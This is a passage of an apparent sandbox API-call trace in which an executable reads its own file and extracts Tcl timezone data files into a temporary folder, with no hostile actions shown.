lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.131] GetFileType (hFile=0x10c) returned 0x1 [0038.131] htonl (hostlong=0xf04b5800) returned 0x584bf0 [0038.131] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfbf0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.131] htonl (hostlong=0xa8000000) returned 0xa8 [0038.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8) returned 0x544410 [0038.131] htonl (hostlong=0xa8000000) returned 0xa8 [0038.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.131] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.131] htonl (hostlong=0xd2000000) returned 0xd2 [0038.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd2) returned 0x550600 [0038.131] htonl (hostlong=0xa8000000) returned 0xa8 [0038.131] htonl (hostlong=0xd2000000) returned 0xd2 [0038.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544410 | out: hHeap=0x530000) returned 1 [0038.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.131] CloseHandle (hObject=0x10c) returned 1 [0038.131] GetLastError () returned 0x0 [0038.131] SetLastError (dwErrCode=0x0) [0038.131] GetLastError () returned 0x0 [0038.131] SetLastError (dwErrCode=0x0) [0038.131] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.132] GetFileType (hFile=0x10c) returned 0x1 [0038.132] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.132] CloseHandle (hObject=0x10c) returned 1 [0038.132] GetLastError () returned 0x0 [0038.132] SetLastError (dwErrCode=0x0) [0038.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.132] GetFileType (hFile=0x10c) returned 0x1 [0038.132] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.133] CloseHandle (hObject=0x10c) returned 1 [0038.133] GetLastError () returned 0x0 [0038.133] SetLastError (dwErrCode=0x0) [0038.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.133] GetFileType (hFile=0x10c) returned 0x1 [0038.133] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.133] CloseHandle (hObject=0x10c) returned 1 [0038.133] GetLastError () returned 0x0 [0038.133] SetLastError (dwErrCode=0x0) [0038.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dar_es_Salaam") returned 77 [0038.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dar_es_Salaam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\dar_es_salaam"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.133] GetLastError () returned 0x2 [0038.134] SetLastError (dwErrCode=0x2) [0038.134] GetLastError () returned 0x2 [0038.134] SetLastError (dwErrCode=0x2) [0038.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dar_es_Salaam", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dar_es_Salaam", lpFilePart=0x0) returned 0x4c [0038.134] GetLastError () returned 0x2 [0038.134] SetLastError (dwErrCode=0x2) [0038.134] GetLastError () returned 0x2 [0038.134] SetLastError (dwErrCode=0x2) [0038.134] GetLastError () returned 0x2 [0038.134] SetLastError (dwErrCode=0x2) [0038.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dar_es_Salaam") returned 77 [0038.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dar_es_Salaam" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\dar_es_salaam"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.135] GetFileType (hFile=0x10c) returned 0x1 [0038.135] htonl (hostlong=0xd2000000) returned 0xd2 [0038.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.135] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xd2, lpOverlapped=0x0) returned 1 [0038.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.136] CloseHandle (hObject=0x10c) returned 1 [0038.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.136] htonl (hostlong=0x40000000) returned 0x40 [0038.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.136] GetFileType (hFile=0x10c) returned 0x1 [0038.137] htonl (hostlong=0x984c5800) returned 0x584c98 [0038.137] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfc98, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.137] htonl (hostlong=0x8c000000) returned 0x8c [0038.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0038.137] htonl (hostlong=0x8c000000) returned 0x8c [0038.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.137] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.137] htonl (hostlong=0x93000000) returned 0x93 [0038.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x550600 [0038.137] htonl (hostlong=0x8c000000) returned 0x8c [0038.137] htonl (hostlong=0x93000000) returned 0x93 [0038.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.137] CloseHandle (hObject=0x10c) returned 1 [0038.137] GetLastError () returned 0x0 [0038.137] SetLastError (dwErrCode=0x0) [0038.137] GetLastError () returned 0x0 [0038.137] SetLastError (dwErrCode=0x0) [0038.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.137] GetFileType (hFile=0x10c) returned 0x1 [0038.137] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.138] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.138] CloseHandle (hObject=0x10c) returned 1 [0038.138] GetLastError () returned 0x0 [0038.138] SetLastError (dwErrCode=0x0) [0038.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.138] GetFileType (hFile=0x10c) returned 0x1 [0038.138] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.138] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.138] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.138] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.138] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.138] CloseHandle (hObject=0x10c) returned 1 [0038.138] GetLastError () returned 0x0 [0038.138] SetLastError (dwErrCode=0x0) [0038.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.139] GetFileType (hFile=0x10c) returned 0x1 [0038.139] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.139] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.139] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.139] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.139] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.139] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.139] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.139] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.139] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.139] CloseHandle (hObject=0x10c) returned 1 [0038.139] GetLastError () returned 0x0 [0038.139] SetLastError (dwErrCode=0x0) [0038.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Djibouti") returned 72 [0038.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Djibouti" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\djibouti"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.139] GetLastError () returned 0x2 [0038.139] SetLastError (dwErrCode=0x2) [0038.139] GetLastError () returned 0x2 [0038.139] SetLastError (dwErrCode=0x2) [0038.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Djibouti", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Djibouti", lpFilePart=0x0) returned 0x47 [0038.139] GetLastError () returned 0x2 [0038.139] SetLastError (dwErrCode=0x2) [0038.139] GetLastError () returned 0x2 [0038.139] SetLastError (dwErrCode=0x2) [0038.139] GetLastError () returned 0x2 [0038.139] SetLastError (dwErrCode=0x2) [0038.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Djibouti") returned 72 [0038.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Djibouti" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\djibouti"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.140] GetFileType (hFile=0x10c) returned 0x1 [0038.140] htonl (hostlong=0x93000000) returned 0x93 [0038.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.140] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x93, lpOverlapped=0x0) returned 1 [0038.141] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.141] CloseHandle (hObject=0x10c) returned 1 [0038.142] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.142] htonl (hostlong=0x30000000) returned 0x30 [0038.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.142] GetFileType (hFile=0x10c) returned 0x1 [0038.142] htonl (hostlong=0x244d5800) returned 0x584d24 [0038.142] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfd24, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.142] htonl (hostlong=0x88000000) returned 0x88 [0038.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0038.142] htonl (hostlong=0x88000000) returned 0x88 [0038.143] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.143] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 